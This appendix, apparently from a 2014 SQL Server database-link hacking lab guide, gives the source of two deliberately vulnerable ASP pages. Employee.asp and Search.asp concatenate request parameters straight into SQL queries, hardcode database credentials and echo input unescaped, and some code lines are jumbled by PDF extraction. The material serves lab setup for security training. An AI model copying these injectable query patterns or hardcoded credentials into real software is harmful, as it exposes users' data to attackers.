Appendix A Employee.asp Source Code
Employee Information
<%
'Sample Database Connection Syntax for ASP and SQL Server.
Dim
Dim
Dim
Dim
Dim
oConn, oRs
qry, connectstr
db_name, db_username, db_userpassword
db_server
myid
' update the db_server with your server and instance
db_server = "mybox\server1"
db_name = "AdventureWorks2008"
46
Hacking SQL Server Database Links: Lab Setup and Attack Guide
db_username = "s1user"
db_password = "s1password"
'setup database handler
Set oConn = Server.CreateObject("ADODB.Connection")
oConn.Open("Driver={SQL Server};Server=" & db_server & ";Database=" & db_name &";UID="
& db_username & ";PWD=" & db_password & ";Trusted_Connection=NO;")
'setup query
qry = "SELECT * FROM HumanResources.Employee WHERE BusinessEntityID = " &
Request("id")
'execute query
Set oRS = oConn.Execute(qry)
'loop through and display records
Do until oRs.EOF
Response.Write
" "
Response.Write
Response.Write
Response.Write
" "
"ID: " & oRs.Fields("BusinessEntityID") &
"Title: " & oRs.Fields("JobTitle") & " "
"User: " & oRs.Fields("LoginID") & " "
"Birth Date: " & oRs.Fields("BirthDate") &
oRS.MoveNext
Loop
oRs.Close
Set oRs = nothing
Set oConn = nothing
%>
|
47
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Appendix B Search.asp Source Code
Employee Search
<%
'Sample Database Connection Syntax for ASP and SQL Server.
Dim oConn, oRs
Dim qry, connectstr
Dim db_name, db_username, db_userpassword
Dim db_server
Dim my_search
' update the db_server with your server and instance
db_server = "mybox\server1"
db_name = "AdventureWorks2008"
db_username = "s1user"
db_password = "s1password"
'setup database handler
Set oConn = Server.CreateObject("ADODB.Connection")
oConn.Open("Driver={SQL Server};Server=" & db_server & ";Database=" & db_name &";UID="
& db_username & ";PWD=" & db_password & ";Trusted_Connection=NO;")
'setup query
48
Hacking SQL Server Database Links: Lab Setup and Attack Guide
qry = "SELECT LoginID,BusinessEntityID FROM HumanResources.Employee WHERE LoginID LIKE
'%" & Request("search") & "%'"
'execute query
Set oRS = oConn.Execute(qry)
'output status to user
Response.Write "Search Results for: " & Request("search") &
" "
'loop through and print results
Do until oRs.EOF
Response.Write "" &
oRs.Fields("LoginID") & " "
oRS.MoveNext
Loop
oRs.Close
Set oRs = nothing
Set oConn = nothing
%>
49
Source Exif Data:
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 49
Language : en-US
Tagged PDF : Yes
Title : Hacking SQL Server Database Links: .Lab Setup and Attack Guide
Author : Scott Sutherland
Subject : Preliminary Report
Creator : Microsoft® Word 2013
Create Date : 2014:10:02 14:51:16-05:00
Modify Date : 2014:10:02 14:51:16-05:00
Producer : Microsoft® Word 2013
EXIF Metadata provided by EXIF.tools
Navigation menu
Versions of this User Manual:
|